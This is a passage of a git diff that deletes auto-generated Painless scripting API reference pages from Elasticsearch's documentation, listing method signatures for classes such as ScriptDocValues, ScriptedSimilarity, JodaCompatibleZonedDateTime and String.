-* def {java11-javadoc}/java.base/java/util/List.html#remove(int)[remove](int)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* void {java11-javadoc}/java.base/java/util/List.html#replaceAll(java.util.function.UnaryOperator)[replaceAll](UnaryOperator)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* def {java11-javadoc}/java.base/java/util/List.html#set(int,java.lang.Object)[set](int, def)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* void {java11-javadoc}/java.base/java/util/List.html#sort(java.util.Comparator)[sort](Comparator)
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* List {java11-javadoc}/java.base/java/util/List.html#subList(int,int)[subList](int, int)
-* double sum()
-* double sum(ToDoubleFunction)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ScriptDocValues-Strings]]
-==== ScriptDocValues.Strings
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* void {java11-javadoc}/java.base/java/util/List.html#add(int,java.lang.Object)[add](int, def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/List.html#addAll(int,java.util.Collection)[addAll](int, Collection)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* List collect(Function)
-* def collect(Collection, Function)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* boolean {java11-javadoc}/java.base/java/util/List.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* null get(int)
-* Object getByPath(null)
-* Object getByPath(null, Object)
-* int getLength()
-* null getValue()
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/util/List.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/util/List.html#indexOf(java.lang.Object)[indexOf](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* null join(null)
-* int {java11-javadoc}/java.base/java/util/List.html#lastIndexOf(java.lang.Object)[lastIndexOf](def)
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator()[listIterator]()
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator(int)[listIterator](int)
-* def {java11-javadoc}/java.base/java/util/List.html#remove(int)[remove](int)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* void {java11-javadoc}/java.base/java/util/List.html#replaceAll(java.util.function.UnaryOperator)[replaceAll](UnaryOperator)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* def {java11-javadoc}/java.base/java/util/List.html#set(int,java.lang.Object)[set](int, def)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* void {java11-javadoc}/java.base/java/util/List.html#sort(java.util.Comparator)[sort](Comparator)
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* List {java11-javadoc}/java.base/java/util/List.html#subList(int,int)[subList](int, int)
-* double sum()
-* double sum(ToDoubleFunction)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[role="exclude",id="painless-api-reference-shared-org-elasticsearch-index-mapper"]
-=== Shared API for package org.elasticsearch.index.mapper
-See the <<painless-api-reference-shared, Shared API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-shared-IpFieldMapper-IpFieldType-IpScriptDocValues]]
-==== IpFieldMapper.IpFieldType.IpScriptDocValues
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* void {java11-javadoc}/java.base/java/util/List.html#add(int,java.lang.Object)[add](int, def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/List.html#addAll(int,java.util.Collection)[addAll](int, Collection)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* List collect(Function)
-* def collect(Collection, Function)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* boolean {java11-javadoc}/java.base/java/util/List.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* null get(int)
-* Object getByPath(null)
-* Object getByPath(null, Object)
-* int getLength()
-* null getValue()
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/util/List.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/util/List.html#indexOf(java.lang.Object)[indexOf](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* null join(null)
-* int {java11-javadoc}/java.base/java/util/List.html#lastIndexOf(java.lang.Object)[lastIndexOf](def)
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator()[listIterator]()
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator(int)[listIterator](int)
-* def {java11-javadoc}/java.base/java/util/List.html#remove(int)[remove](int)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* void {java11-javadoc}/java.base/java/util/List.html#replaceAll(java.util.function.UnaryOperator)[replaceAll](UnaryOperator)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* def {java11-javadoc}/java.base/java/util/List.html#set(int,java.lang.Object)[set](int, def)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* void {java11-javadoc}/java.base/java/util/List.html#sort(java.util.Comparator)[sort](Comparator)
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* List {java11-javadoc}/java.base/java/util/List.html#subList(int,int)[subList](int, int)
-* double sum()
-* double sum(ToDoubleFunction)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[role="exclude",id="painless-api-reference-shared-org-elasticsearch-index-query"]
-=== Shared API for package org.elasticsearch.index.query
-See the <<painless-api-reference-shared, Shared API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-shared-IntervalFilterScript-Interval]]
-==== IntervalFilterScript.Interval
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int getEnd()
-* int getGaps()
-* int getStart()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[role="exclude",id="painless-api-reference-shared-org-elasticsearch-index-similarity"]
-=== Shared API for package org.elasticsearch.index.similarity
-See the <<painless-api-reference-shared, Shared API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-shared-ScriptedSimilarity-Doc]]
-==== ScriptedSimilarity.Doc
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* float getFreq()
-* int getLength()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ScriptedSimilarity-Field]]
-==== ScriptedSimilarity.Field
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* long getDocCount()
-* long getSumDocFreq()
-* long getSumTotalTermFreq()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ScriptedSimilarity-Query]]
-==== ScriptedSimilarity.Query
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* float getBoost()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ScriptedSimilarity-Term]]
-==== ScriptedSimilarity.Term
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* long getDocFreq()
-* long getTotalTermFreq()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[role="exclude",id="painless-api-reference-shared-org-elasticsearch-painless-api"]
-=== Shared API for package org.elasticsearch.painless.api
-See the <<painless-api-reference-shared, Shared API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-shared-Debug]]
-==== Debug
-* static void explain(Object)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[role="exclude",id="painless-api-reference-shared-org-elasticsearch-script"]
-=== Shared API for package org.elasticsearch.script
-See the <<painless-api-reference-shared, Shared API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-shared-JodaCompatibleZonedDateTime]]
-==== JodaCompatibleZonedDateTime
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#compareTo(java.time.chrono.ChronoZonedDateTime)[compareTo](ChronoZonedDateTime)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#format(java.time.format.DateTimeFormatter)[format](DateTimeFormatter)
-* int {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#get(java.time.temporal.TemporalField)[get](TemporalField)
-* int getCenturyOfEra()
-* Chronology {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#getChronology()[getChronology]()
-* int getDayOfMonth()
-* int getDayOfWeek()
-* DayOfWeek getDayOfWeekEnum()
-* int getDayOfYear()
-* int getEra()
-* int getHour()
-* int getHourOfDay()
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#getLong(java.time.temporal.TemporalField)[getLong](TemporalField)
-* long getMillis()
-* int getMillisOfDay()
-* int getMillisOfSecond()
-* int getMinute()
-* int getMinuteOfDay()
-* int getMinuteOfHour()
-* Month getMonth()
-* int getMonthOfYear()
-* int getMonthValue()
-* int getNano()
-* ZoneOffset {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#getOffset()[getOffset]()
-* int getSecond()
-* int getSecondOfDay()
-* int getSecondOfMinute()
-* int getWeekOfWeekyear()
-* int getWeekyear()
-* int getYear()
-* int getYearOfCentury()
-* int getYearOfEra()
-* ZoneId {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#getZone()[getZone]()
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#isAfter(java.time.chrono.ChronoZonedDateTime)[isAfter](ChronoZonedDateTime)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#isBefore(java.time.chrono.ChronoZonedDateTime)[isBefore](ChronoZonedDateTime)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#isEqual(java.time.chrono.ChronoZonedDateTime)[isEqual](ChronoZonedDateTime)
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#isSupported(java.time.temporal.TemporalField)[isSupported](TemporalField)
-* ZonedDateTime minus(TemporalAmount)
-* ZonedDateTime minus(long, TemporalUnit)
-* ZonedDateTime minusDays(long)
-* ZonedDateTime minusHours(long)
-* ZonedDateTime minusMinutes(long)
-* ZonedDateTime minusMonths(long)
-* ZonedDateTime minusNanos(long)
-* ZonedDateTime minusSeconds(long)
-* ZonedDateTime minusWeeks(long)
-* ZonedDateTime minusYears(long)
-* ZonedDateTime plus(TemporalAmount)
-* ZonedDateTime plus(long, TemporalUnit)
-* ZonedDateTime plusDays(long)
-* ZonedDateTime plusHours(long)
-* ZonedDateTime plusMinutes(long)
-* ZonedDateTime plusMonths(long)
-* ZonedDateTime plusNanos(long)
-* ZonedDateTime plusSeconds(long)
-* ZonedDateTime plusWeeks(long)
-* ZonedDateTime plusYears(long)
-* def {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#query(java.time.temporal.TemporalQuery)[query](TemporalQuery)
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#range(java.time.temporal.TemporalField)[range](TemporalField)
-* long {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#toEpochSecond()[toEpochSecond]()
-* Instant {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#toInstant()[toInstant]()
-* LocalDate toLocalDate()
-* LocalDateTime toLocalDateTime()
-* LocalTime {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#toLocalTime()[toLocalTime]()
-* OffsetDateTime toOffsetDateTime()
-* null {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#toString()[toString]()
-* null toString(null)
-* null toString(null, Locale)
-* ZonedDateTime truncatedTo(TemporalUnit)
-* long {java11-javadoc}/java.base/java/time/temporal/Temporal.html#until(java.time.temporal.Temporal,java.time.temporal.TemporalUnit)[until](Temporal, TemporalUnit)
-* ZonedDateTime with(TemporalAdjuster)
-* ZonedDateTime with(TemporalField, long)
-* ZonedDateTime withDayOfMonth(int)
-* ZonedDateTime withDayOfYear(int)
-* ZonedDateTime withEarlierOffsetAtOverlap()
-* ZonedDateTime withFixedOffsetZone()
-* ZonedDateTime withHour(int)
-* ZonedDateTime withLaterOffsetAtOverlap()
-* ZonedDateTime withMinute(int)
-* ZonedDateTime withMonth(int)
-* ZonedDateTime withNano(int)
-* ZonedDateTime withSecond(int)
-* ZonedDateTime withYear(int)
-* ZonedDateTime withZoneSameInstant(ZoneId)
-* ZonedDateTime withZoneSameLocal(ZoneId)
-
-
-[role="exclude",id="painless-api-reference-shared-org-elasticsearch-search-lookup"]
-=== Shared API for package org.elasticsearch.search.lookup
-See the <<painless-api-reference-shared, Shared API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-shared-FieldLookup]]
-==== FieldLookup
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* def getValue()
-* List getValues()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean isEmpty()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-similarity-weight/index.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-similarity-weight/index.asciidoc
deleted file mode 100644
index 8d9813dd363..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-similarity-weight/index.asciidoc
+++ /dev/null
@@ -1,20 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-[[painless-api-reference-similarity-weight]]
-=== Similarity Weight API
-
-The following specialized API is available in the Similarity Weight context.
-
-* See the <<painless-api-reference-shared, Shared API>> for further API available in all contexts.
-
-==== Classes By Package
-The following classes are available grouped by their respective packages. Click on a class to view details about the available methods and fields.
-
-
-==== java.lang
-<<painless-api-reference-similarity-weight-java-lang, Expand details for java.lang>>
-
-* <<painless-api-reference-similarity-weight-String, String>>
-
-include::packages.asciidoc[]
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-similarity-weight/packages.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-similarity-weight/packages.asciidoc
deleted file mode 100644
index a0510fb5f78..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-similarity-weight/packages.asciidoc
+++ /dev/null
@@ -1,62 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-
-[role="exclude",id="painless-api-reference-similarity-weight-java-lang"]
-=== Similarity Weight API for package java.lang
-See the <<painless-api-reference-similarity-weight, Similarity Weight API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-similarity-weight-String]]
-==== String
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D)[copyValueOf](char[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D,int,int)[copyValueOf](char[], int, int)
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.lang.String,java.lang.Object%5B%5D)[format](String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.util.Locale,java.lang.String,java.lang.Object%5B%5D)[format](Locale, String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#join(java.lang.CharSequence,java.lang.Iterable)[join](CharSequence, Iterable)
-* static String {java11-javadoc}/java.base/java/lang/String.html#valueOf(java.lang.Object)[valueOf](def)
-* {java11-javadoc}/java.base/java/lang/String.html#<init>()[String]()
-* char {java11-javadoc}/java.base/java/lang/CharSequence.html#charAt(int)[charAt](int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#chars()[chars]()
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointAt(int)[codePointAt](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointBefore(int)[codePointBefore](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointCount(int,int)[codePointCount](int, int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#codePoints()[codePoints]()
-* int {java11-javadoc}/java.base/java/lang/String.html#compareTo(java.lang.String)[compareTo](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#compareToIgnoreCase(java.lang.String)[compareToIgnoreCase](String)
-* String {java11-javadoc}/java.base/java/lang/String.html#concat(java.lang.String)[concat](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contains(java.lang.CharSequence)[contains](CharSequence)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contentEquals(java.lang.CharSequence)[contentEquals](CharSequence)
-* String decodeBase64()
-* String encodeBase64()
-* boolean {java11-javadoc}/java.base/java/lang/String.html#endsWith(java.lang.String)[endsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#equalsIgnoreCase(java.lang.String)[equalsIgnoreCase](String)
-* void {java11-javadoc}/java.base/java/lang/String.html#getChars(int,int,char%5B%5D,int)[getChars](int, int, char[], int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String)[indexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String,int)[indexOf](String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#isEmpty()[isEmpty]()
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String)[lastIndexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String,int)[lastIndexOf](String, int)
-* int {java11-javadoc}/java.base/java/lang/CharSequence.html#length()[length]()
-* int {java11-javadoc}/java.base/java/lang/String.html#offsetByCodePoints(int,int)[offsetByCodePoints](int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(int,java.lang.String,int,int)[regionMatches](int, String, int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(boolean,int,java.lang.String,int,int)[regionMatches](boolean, int, String, int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#replace(java.lang.CharSequence,java.lang.CharSequence)[replace](CharSequence, CharSequence)
-* String replaceAll(Pattern, Function)
-* String replaceFirst(Pattern, Function)
-* String[] splitOnToken(String)
-* String[] splitOnToken(String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String)[startsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String,int)[startsWith](String, int)
-* CharSequence {java11-javadoc}/java.base/java/lang/CharSequence.html#subSequence(int,int)[subSequence](int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int)[substring](int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int,int)[substring](int, int)
-* char[] {java11-javadoc}/java.base/java/lang/String.html#toCharArray()[toCharArray]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase()[toLowerCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase(java.util.Locale)[toLowerCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/CharSequence.html#toString()[toString]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase()[toUpperCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase(java.util.Locale)[toUpperCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/String.html#trim()[trim]()
-
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-similarity/index.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-similarity/index.asciidoc
deleted file mode 100644
index f8d65739b63..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-similarity/index.asciidoc
+++ /dev/null
@@ -1,20 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-[[painless-api-reference-similarity]]
-=== Similarity API
-
-The following specialized API is available in the Similarity context.
-
-* See the <<painless-api-reference-shared, Shared API>> for further API available in all contexts.
-
-==== Classes By Package
-The following classes are available grouped by their respective packages. Click on a class to view details about the available methods and fields.
-
-
-==== java.lang
-<<painless-api-reference-similarity-java-lang, Expand details for java.lang>>
-
-* <<painless-api-reference-similarity-String, String>>
-
-include::packages.asciidoc[]
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-similarity/packages.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-similarity/packages.asciidoc
deleted file mode 100644
index 6bd05a8f495..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-similarity/packages.asciidoc
+++ /dev/null
@@ -1,62 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-
-[role="exclude",id="painless-api-reference-similarity-java-lang"]
-=== Similarity API for package java.lang
-See the <<painless-api-reference-similarity, Similarity API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-similarity-String]]
-==== String
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D)[copyValueOf](char[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D,int,int)[copyValueOf](char[], int, int)
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.lang.String,java.lang.Object%5B%5D)[format](String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.util.Locale,java.lang.String,java.lang.Object%5B%5D)[format](Locale, String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#join(java.lang.CharSequence,java.lang.Iterable)[join](CharSequence, Iterable)
-* static String {java11-javadoc}/java.base/java/lang/String.html#valueOf(java.lang.Object)[valueOf](def)
-* {java11-javadoc}/java.base/java/lang/String.html#<init>()[String]()
-* char {java11-javadoc}/java.base/java/lang/CharSequence.html#charAt(int)[charAt](int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#chars()[chars]()
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointAt(int)[codePointAt](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointBefore(int)[codePointBefore](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointCount(int,int)[codePointCount](int, int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#codePoints()[codePoints]()
-* int {java11-javadoc}/java.base/java/lang/String.html#compareTo(java.lang.String)[compareTo](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#compareToIgnoreCase(java.lang.String)[compareToIgnoreCase](String)
-* String {java11-javadoc}/java.base/java/lang/String.html#concat(java.lang.String)[concat](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contains(java.lang.CharSequence)[contains](CharSequence)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contentEquals(java.lang.CharSequence)[contentEquals](CharSequence)
-* String decodeBase64()
-* String encodeBase64()
-* boolean {java11-javadoc}/java.base/java/lang/String.html#endsWith(java.lang.String)[endsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#equalsIgnoreCase(java.lang.String)[equalsIgnoreCase](String)
-* void {java11-javadoc}/java.base/java/lang/String.html#getChars(int,int,char%5B%5D,int)[getChars](int, int, char[], int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String)[indexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String,int)[indexOf](String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#isEmpty()[isEmpty]()
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String)[lastIndexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String,int)[lastIndexOf](String, int)
-* int {java11-javadoc}/java.base/java/lang/CharSequence.html#length()[length]()
-* int {java11-javadoc}/java.base/java/lang/String.html#offsetByCodePoints(int,int)[offsetByCodePoints](int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(int,java.lang.String,int,int)[regionMatches](int, String, int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(boolean,int,java.lang.String,int,int)[regionMatches](boolean, int, String, int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#replace(java.lang.CharSequence,java.lang.CharSequence)[replace](CharSequence, CharSequence)
-* String replaceAll(Pattern, Function)
-* String replaceFirst(Pattern, Function)
-* String[] splitOnToken(String)
-* String[] splitOnToken(String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String)[startsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String,int)[startsWith](String, int)
-* CharSequence {java11-javadoc}/java.base/java/lang/CharSequence.html#subSequence(int,int)[subSequence](int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int)[substring](int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int,int)[substring](int, int)
-* char[] {java11-javadoc}/java.base/java/lang/String.html#toCharArray()[toCharArray]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase()[toLowerCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase(java.util.Locale)[toLowerCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/CharSequence.html#toString()[toString]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase()[toUpperCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase(java.util.Locale)[toUpperCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/String.html#trim()[trim]()
-
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-string-sort/index.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-string-sort/index.asciidoc
deleted file mode 100644
index bf6121a8d99..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-string-sort/index.asciidoc
+++ /dev/null
@@ -1,31 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-[[painless-api-reference-string-sort]]
-=== String Sort API
-
-The following specialized API is available in the String Sort context.
-
